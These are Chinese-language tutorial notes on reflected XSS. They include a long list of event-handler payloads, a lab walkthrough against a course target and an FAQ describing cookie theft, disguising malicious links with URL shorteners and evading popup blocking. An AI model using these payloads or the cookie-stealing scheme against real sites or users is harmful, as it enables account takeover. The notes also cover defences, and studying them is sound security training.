XSS原理-反射型XSS
SQL注入原理
用户输入的数据被当作SQL代码执行。
XSS原理
前端代码注入,用户输入的数据被当作前端代码执行。
前端代码: 3块
- HTML:网站的框架;
- CSS:把网站变得更好看;
- Javascript(JS):让网站功能更强大;
JS中 //
为注释!
CSS不重要,主要研究的是JS是如何触发JS;
JS很强大,他可以操纵浏览器。
例如:
# 设置浏览器Cookie
document.cookie="id="
JS:
- 读取浏览器信息;
- 偷偷发送数据包(异步传输);
- 他可以窃取
Cookie
;
[先读取你的Cookie
然后偷偷发送数据包给黑客,黑客收到Cookie
然后登录你的用户]
Cookie
: 代表你的身份!
拿到Cookie
不等于拿到密码。(Cookie
的授权是有时效的)
那么现在就更为具体,用户输入的数据被当作前端JS代码执行,再联想到前面学习的SQL注入,我们需要返回尝试获取注入点,屏蔽字段,造成正常的SQL报错或不输出从而输出我们输出的SQL,那么XSS是不是也是这样的道理呢?
XSS种类:
- 反射型:你给我传参,然后触发了 JS,如果你不给我传参,就不存在问题,传参必须包含恶意语句(需要受害者交互)
- 存储型号:存储下来的,不需要传参中必须有恶意语句(只要存下来呢就是,存在目标服务器)(不需要受害者交互)
- Dom型:
反射型XSS:
# 生成带有危险XSS的连接,但由于链接过于异常,很难上钩
http://www.xxx.com/?a=<script>alter(1)</script>
# 就可以通过短链接来隐藏这样一个难题
><script>alert(1)</script>//
短链接:
- 将很长的URL变为一个对方提供的短链接,进行一个跳转。
存储型XSS:
不需要url中传递XSS
,只需要将XSS
语句存储服务器数据库,所有用户访问该页面,均会受到影响。
JS的触发标识:弹窗:alter(1)
1.标签风格:
<script>alter(1)</script>
2.伪协议触发:
<a href=javascript:alter(1)>1</a>
,(伪协议:)http://
,ftp://
,小众协议:php://
3.事件方法:
<img src=1 onerror=alter(1) />
(触发器:事件)在标签里面on开头的东西很高概率是事件。
各种 on事件触发js代码 - sherryChang - 博客园 (cnblogs.com)
1、onmouseenter:当鼠标进入选区执行代码
<div style="background-color:red" onmouseenter="alert('bem')">123456</div>
2、onmouseleave:当鼠标离开选区执行代码
<DIV onmouseleave="alert('bem')" style="BACKGROUND-COLOR: red">123456</DIV>
3、onmousewheel:当鼠标在选区滚轮时执行代码
<DIV onmousewheel="alert('bem')" style="BACKGROUND-COLOR: red">123456</DIV>
4、onscroll:拖动滚动条执行代码
<div style="width:100px;height:100px;overflow:scroll" onscroll="alert('bem')">123456</div>
5、onfocusin:当获得焦点时执行代码
<div contentEditable="true" style="background-color:red" onfocusin="alert('bem')" >asdf</div>
6、onfocusout:当失去焦点时执行代码
<div contentEditable="true" style="background-color:red" onfocusout="alert('bem')" >asdf</div>
7、onstart:当显示内容时执行代码
<marquee style="background-color:red" onstart="alert('bem')" >asdf</marquee>
8、onbeforecopy:选中内容后右键执行代码
<div style="background-color:red;" onbeforecopy="alert('bem')" >asdf</div>
9、onbeforecut:选中内容后右键执行代码
<div style="background-color:red;" onbeforecut="alert('bem')" >asdf</div>
10、onbeforeeditfocus:当获得焦点时执行代码
<div style="background-color:red;" contentEditable="true" onbeforeeditfocus="alert('bem')" >asdf</div>
11、onbeforepaste:选中内容后右键执行代码
<div style="background-color:red;" ="true" onbeforepaste="alert('bem')" >asdf</div>
12、oncontextmenu:鼠标右键执行代码
<div style="background-color:red;" oncontextmenu="alert('bem')" >asdf</div>
13、oncopy:鼠标右键执行复制时执行代码
<div style="background-color:red;" oncopy="alert('bem')" >asdf</div>
14、oncut:鼠标右键执行剪切时执行代码
<div contentEditable="true" style="background-color:red;" oncut="alert('bem')" >asdf</div>
15、ondrag:选择内容并拖动时执行代码
<div style="background-color:red;" ondrag="alert('bem')" >asdf</div>
16、ondragend:选择内容并拖动松开鼠标执行代码
<div style="background-color:red;" ondragend="alert('bem')" >asdf</div>
17、ondragenter:选择内容并拖动时执行代码
<div style="background-color:red;" ondragenter="alert('bem')" >asdf</div>
18、ondragleave:选择内容并拖出边框执行代码
<div contentEditable="true" style="background-color:red;" ondragleave="alert('bem')" >asdf</div>
19、ondragover:选择内容并拖动时执行代码
<div contentEditable="true" style="background-color:red;" ondragover="alert('bem')" >asdf</div>
20、ondragstart:选择内容并拖动时执行代码
<div contentEditable="true" style="background-color:red;" ondragstart="alert('bem')" >asdf</div>
21、ondrop:有内容被拖动进来时执行代码
<div contentEditable="true" style="background-color:red;" ondrop="alert('bem')" >asdf</div>
<div contentEditable="true" style="background-color:green;" ondrop="alert('bem')" >asdf</div>
22、onlosecapture:选择内容时执行代码
<div contentEditable="true" style="background-color:red;" onlosecapture="alert('bem')" >asdf</div>
23、onpaste:粘贴时执行代码
<div contentEditable="true" style="background-color:red;" onpaste="alert('bem')" >asdf</div>
24、onselectstart:选择内容时执行代码
<div contentEditable="true" style="background-color:red;" onselectstart="alert('bem')" >asdf</div>
25、onhelp:进入焦点按F1时执行代码
<div contentEditable="true" style="background-color:red;" onhelp="alert('bem')" >asdf</div>
26、onEnd:当时间线执行完毕时执行代码
<div STYLE="background-color:red;behavior:url('#default#time2')" onEnd="alert('bem')">asdf</div>
27、onBegin:当时间线开始执行代码
<div STYLE="background-color:red;behavior:url('#default#time2')" onBegin="alert('bem')">asdf</div>
28、onactivate:激活当前标签时执行代码
<div contentEditable="true" STYLE="background-color:red;" onactivate="alert('bem')">asdf</div>
29、onfilterchange:当滤镜改变时执行代码
<div contentEditable="true" STYLE="background-color:red;filter: Alpha(opacity=100, style=2);" onfilterchange="alert('bem')">asdf</div>
30、onbeforeactivate:当激活当前标签时执行代码
<div contentEditable="true" STYLE="background-color:red;" onbeforeactivate="alert('bem')">asdf</div>
31、onbeforedeactivate:当标签内值改变时执行代码
<div contentEditable="true" STYLE="background-color:red;" onbeforedeactivate="alert('bem')">asdf</div>
32、ondeactivate:当标签内值改变时执行代码
<div contentEditable="true" STYLE="background-color:red;" ondeactivate="alert('bem')">asdf</div>
注意点
我们进行XSS时,可能会出现输出正确的XSS语句,发现并未参数效果,可以通过查看源码进行分析定位该点,为什么没有正确注入,是否存在编码问题。
1.HTML实体编码:用于防御XSS!
在 HTML 中,某些字符是预留的。
在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。
如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。
字符实体类似这样:
&entity_name;
或者
&#entity_number;
如需显示小于号,我们必须这样写:< 或 <
提示:使用实体名而不是数字的好处是,名称易于记忆。不过坏处是,浏览器也许并不支持所有实体名称(对实体数字的支持却很好)。
2.前端代码:兼容性。
有时候可能前端使用的例如input
内容并未有引号包裹,但是在通过邮件检查页面是也会出现兼容性,自动的带上""
,所以极为给我们带来影响,所以对于反射型XSS
最好我们可以通过输出东西后直接通过查看网页源码进行定位,不受到前端代码兼容性的干扰。
3.弹窗找到屏蔽
在部门网站进行XSS
测试的时候,会发现输入并未有问题,网页源码中也存在该XSS点,但是并未出现弹窗alter()
正常弹窗,那么我们可以考虑时候对方进行的alter()
函数的弹窗屏蔽。
那么这时候我们可以考虑通过prompt()
进行替代!
当使用alter()
函数并未弹窗时,考虑是否该函数遭到拦截,可以尝试使用prompt()
进行替代。
弹窗函数被拦截可以尝试使用prompt(1)
替代。
靶场实战
1.靶场地址
http://59.63.200.79:8002/xss/index.php
2.查看源码
通过在输出框中输入字符,从而通过查看源码定位该前端代码如何闭合。
3.考虑闭合前端代码,执行输入代码
竟然有HTML实体编码,考虑换个触发点。
由于是input
中的注入点,所以可以选择伪协议或事件触发方法。
'oninput=alert(1)//
、
当前在该输入框输入任意内容,都会造成弹窗!
4.input自动触发
由于该XSS还需要用户在输入框中进行输入,才会进行弹窗,还不够智能,我们修改一下进行自动弹窗。
'onfocus=alert(1) autofocus //
onfocus:当前框获得焦点时触发;
authfocus:自动获取;
所以该XSS
就变为,自动触发。
常见问题
XSS的原理分析与解剖常见问题
1. xss的本质是什么
我们的传参被拼接进HTML页面,并且被执行。
2. xss如何执行
通过拼接恶意的html代码,js语句来执行攻击,实际上为html代码注入
3. xss作用
盗用cookie,得到内网ip,获取保存的密码等
4. 如何检测xss
通过一个经典语句<script>alert('1')</script>弹窗检测
5. xss还可以通过什么来执行
通过事件,伪协议来执行
6. 伪协议是什么
一种不同与真实协议的协议,只有关联应用才可以用(例如:javascript:alert(1))
7. 事件是什么
这里的事件就是指js事件,通过之歌js事件来执行 例如<img src='1' onerror=alert(1)/>当图片加载错误时弹窗,以此来触发执行语句
8. xss一般通过什么来执行
写在<script>标签内或者是事件标签触发
9. 一定要用<来闭合吗
不一定 '和"也可以用来闭合语句
10. xss的过滤方法
进行转义实体编码输出,加标签,正则匹配替换
11. 常用的事件有哪些
onerror(加载错误时触发),onload(加载成功时触发),oninput(输入框输入时触发)
12. 如何防范xss
转义字符输出,用白名单验证、HTML实体化
13. xss要成功执行的条件是什么
用户可以控制输入,执行代码拼接用户输入数据
14. xss有几种类型
有三种,分别为反射型,存储型,DOM型
15. 三种xss的形式的区别是什么
反射型 非持久型xss 只对本次访问有影响
存储型 持久型xss 存入数据库,访问时触发
DOM型 利用DOM对象触发的xss
16. 反射型XSS具体使用方法
比如百度存在反射型XSS,然后你构建可以窃取Cookie的JS语句,然后传参点在URL那里,然后我们通过短链接将他变为短链接,然后发给想要获取别人信息的人。然后人家如果登陆状态访问了就会触发XSS
17. 反射型XSS为什么很多SRC不收
因为危害比较小,需要管理员和你交互,大部分公益SRC会不收,专属的可以获得。
18. DOM型XSS究竟是持久型还是非持久型?
既有持久也有非持久,DOM型最简单的理解方法就是通过网页自带JS操作后造成的XSS,例如本身可能有HTML实体编码,结果我们输出点因为JS会进行解码,然后我们打了编码过的字符串,绕过了HTML实体编码造成的XSS就属于DOM型
19. 事件型XSS是不是需要交互妮?
不一定,有些事件需要,有些不需要,例如: onload onerror 这些就不需要,我用的最喜欢的还是onfocus=alert(1) autofocus (获取焦点触发弹窗,然后自动触发)
20. 事件有哪些?
https://www.w3school.com.cn/tags/html_ref_eventattributes.asp
21. Xss窃取他人Cookie最简单的方法是什么?
通过XSS平台,例如XSSPT
22. 短链接是什么?
短链接,通俗来说,就是将长的URL网址,转换为简短的网址字符串,和DNS协议有点像,提供服务的网站会在数据库里面存储短链接对应的原本URL是什么,当你访问短链接,然后那边设置了302重定向跳转到原本的长URL
23. XSS在什么地方可以插入?
有输入的地方就插进去
24.XSS一般在什么业务场景容易遇见?
重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等